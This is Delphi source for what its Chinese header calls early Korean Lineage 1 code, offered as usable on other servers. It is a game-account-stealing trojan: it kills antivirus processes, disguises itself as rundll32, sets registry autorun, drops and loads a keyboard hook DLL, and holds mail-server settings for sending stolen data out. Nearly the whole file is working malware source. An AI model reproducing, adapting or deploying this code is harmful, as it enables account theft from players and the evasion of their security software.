unitmain.pas

这个是早时候,韩国天堂1的代码,据说美服和台湾的也能用

unit UnitMain;

interface

uses
  Windows, SysUtils2, reg, unithooktype, other;

type
  TStartHook = procedure(data: pchar; BackDoor: pchar; VerTest:boolean); stdcall;
    //0 html1xxxx
    //1 163.com [e-mail] xxxx
    //2 smtp.163.com [e-mail] pass xxxx
  TStopHook = procedure; stdcall;

const
  WM_CLOSE = $0010;
  consthtml1 = //'00 http://www.great.com/sendmailold.asp?tomail=[e-mail]&MailBody='#0+
    '01 pop3.vip.sina.com [e-mail] '#0 +
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' +
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' +
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' +
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' +
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' +
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

procedure Main;

implementation

function GetCRC(consthtml1: string): integer;
{var
  h:Thandle;
  sizel,sizeh:dword;
  i:integer;
  p:pchar;
begin
  result:=-1; //false
  h:=fileopen(paramstr(0),GENERIC_READ);
  if h=INVALID_HANDLE_VALUE then exit;
  sizel:=getfilesize(h,@sizeh);
  getmem(p,sizel);
  readfile(h,p[0],sizel,sizeh,nil);
  result:=0;
  for i:=0 to sizel div 4 -1 do
  begin
    inc(result,pinteger(@p[i*4])^);
  end;
  freemem(p,sizel);
  closehandle(h); }
var
  i: integer;
begin
  result := 0;
  for i := 0 to length(consthtml1) div 4 - 1 do
    inc(result, pinteger(@consthtml1[1 + i * 4])^);
end;

function WinExec2(ExeFile: string; ProcessInfo: PProcessInformation = nil): boolean;
var
  sStartInfo: STARTUPINFO;
  ProcInfo: TProcessInformation;
  PProcInfo: PProcessInformation;
begin
  ZeroMemory(@sStartInfo, sizeof(sStartInfo));
  SStartInfo.cb := sizeof(sStartInfo);
  if ProcessInfo = nil then PProcInfo := @ProcInfo
  else PProcInfo := ProcessInfo;
  result := CreateProcess(nil, Pchar(ExeFile), nil, nil, false, CREATE_DEFAULT_ERROR_MODE,
    nil, nil, sStartInfo, PProcInfo^);
end;

function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
    result := False
  else
    result := True;
end;

function ApplicationClassIfExists(WndClass: string): Boolean;
var
  hSem: THandle;
begin
  Result := False;
  hSem := CreateSemaphore(nil, 0, 1, pchar('Semaphore' + WndClass));
  if ((hSem <> 0) and (GetLastError() = ERROR_ALREADY_EXISTS)) then
  begin //如果已存在这个信号灯
    Result := True;
  end;
end;

function GetMyWindowsDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := GetWindowsDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;

function GetMySystemDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := GetSystemDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;

procedure autorun1;
type
  TRegisterServiceProcess = function(dwProcessID, dwType: Integer): Integer; stdcall;
var
  s, filename: string;
  i: Integer;
  h: THandle;
  bInSpy: boolean;
  RegisterServiceProcess: TRegisterServiceProcess;
  pathWin, pathSystem, pathProgram: string;
  is9x: boolean;
  function mycopy(srcpath, desPath, Filename: string): boolean;
  var
    sbak, des, src: string;
    lpDirSrc, lpDirDes: array[0..MAX_PATH + 1] of Char;
  begin
    result := true;
    des := desPath + Filename;
    src := srcPath + Filename;
    if not fileexists(src) then
    begin
      result := false;
      exit;
    end;
    if not fileexists(des) then
      copyfile(pchar(src), pchar(des), false);
    Killpro(Filename);
    sleep(1000);
    if not copyfile(pchar(paramstr(0)), pchar(src), false) then
    begin
      sbak := src + '.ddd';
      if copyfile(pchar(paramstr(0)), pchar(sbak), false) then
      begin
        if is9x then
        begin
          GetShortPathName(pchar(sbak), lpDirSrc, MAX_PATH + 1);
          GetShortPathName(pchar(src), lpDirDes, MAX_PATH + 1);
          WritePrivateProfileString('rename', lpDirDes, lpDirSrc,
            'wininit.ini');
        end
        else begin
          Killpro(Filename);
          sleep(1000);
          if not copyfile(pchar(paramstr(0)), pchar(src), false) then
          begin
            MoveFileEx(pchar(sbak), pchar(src),
              MOVEFILE_REPLACE_EXISTING or MOVEFILE_DELAY_UNTIL_REBOOT);
          end;
        end;
      end;
    end;
  end;
begin
  pathSystem := GetMySystemDirectory;
  pathWin := GetMyWindowsDirectory;
  pathProgram := copy(pathWin, 1, 3) + 'Program Files\';
  filename := extractfilename(paramstr(0));
  bInSpy := (ansicomparetext(filename, fileRundll32) = 0) or (ansicomparetext(filename, fileInternat) = 0);
  is9x := IsWindows9x;
  if is9x then
  begin
    h := LoadLibrary('KERNEL32.DLL');
    RegisterServiceProcess := GetProcAddress(h, 'RegisterServiceProcess');
    if @RegisterServiceProcess <> nil then RegisterServiceProcess(GetCurrentProcessID, 1);
    FreeLibrary(h);
  end;
  if is9x and bInSpy then
  begin
    s := trim(GetCommandLine);
    if copy(s, 1, 1) = '"' then
    begin
      delete(s, 1, 1);
      i := pos('"', s);
      delete(s, 1, i + 1);
    end
    else begin
      i := pos(' ', s);
      if i = 0 then s := ''
      else delete(s, 1, i);
    end;
    if ansicomparetext(filename, fileRundll32) = 0 then
    begin
      WinExec2('"' + pathProgram + fileRundll32 + '" ' + s);
    end
    else if ansicomparetext(filename, fileInternat) = 0 then
      WinExec2('"' + pathProgram + fileInternat + '" ' + s);
    //else
  end;
  //writedat('exe:1');
  if (ApplicationClassIfExists(ClassName)) then
  begin
    //showmessage('exists');
    ExitProcess(0);
  end;
  //writedat('exe:2');
  if not bInSpy then
  begin
    if is9x then
    begin
      if is9x then mycopy(pathWin, pathProgram, fileRundll32)
      else mycopy(pathSystem, pathProgram, fileRundll32);
      mycopy(pathSystem, pathProgram, fileInternat);
    end
    else begin
      Killpro('KVXP.KXP');
      Killpro('KVMonXP.KXP');
      copyfile(pchar(paramstr(0)), pchar(pathProgram + fileRundll32), false);
      //AddValue2(HKEY_CLASSES_ROOT, 'exefile\shell\open\command', '', pchar('"'+pathProgram + fileRundll32+'" /c "%1" %*'));
      //AddValue2(HKEY_CURRENT_USER, 'Software\Microsoft\Windows NT\CurrentVersion\Windows', 'load', pchar('"'+pathProgram + fileRundll32+'"'));
      AddValue2(RootKey, Regpath1, RegValue, pchar(pathProgram + fileRundll32));
    end;
  end;
end;

procedure Main;
var
  StartHook: TStartHook;
  StopHook: TStopHook;
  msg: TMsg;
  dllfile,s1: string;
  Lib: THandle;
begin
  autorun1;
  killer;
  s1 := consthtml1;
{  if (GetCRC(s1) <> 0) and (not FileExists(extractfilepath(paramstr(0)) + sname+'.dpr'))
    then
  begin
    Messagebox(0, 'error', '', 0);
    exit;
  end; }
  dllfile:=GetMySystemDirectory + file2;
  if fileexists(dllfile) then
    deletefile(pchar(dllfile));
  ExtractRes('dll', 'dll1', dllfile);
  Lib := LoadLibrary(file2);
  if Lib = 0 then
    Lib := LoadLibrary(pchar(dllfile));
  if Lib = 0 then exit;
  @StartHook := GetProcAddress(lib, 'StartHook');
  @StopHook := GetProcAddress(lib, 'StopHook');
//  Messagebox(0,pchar(s1),'',0);
//  writedat(string(pchar(consthtml1))+':'+ string(pchar(consthtml2)),'c:\game.txt');
//  exit;
  StartHook(pchar(copy(s1,2,maxint)), '',copy(s1,1,1)<>'0');
  while true do
  begin
    if PeekMessage(Msg, hinstance, 0, 0, PM_REMOVE) then
    begin
      if (msg.message = WM_CLOSE {WM_QUIT}) then break;
      TranslateMessage(msg);
      DispatchMessage(msg);
    end;
    sleep(1000);
    killer;
  end;
  StopHook;
end;

initialization

finalization

end.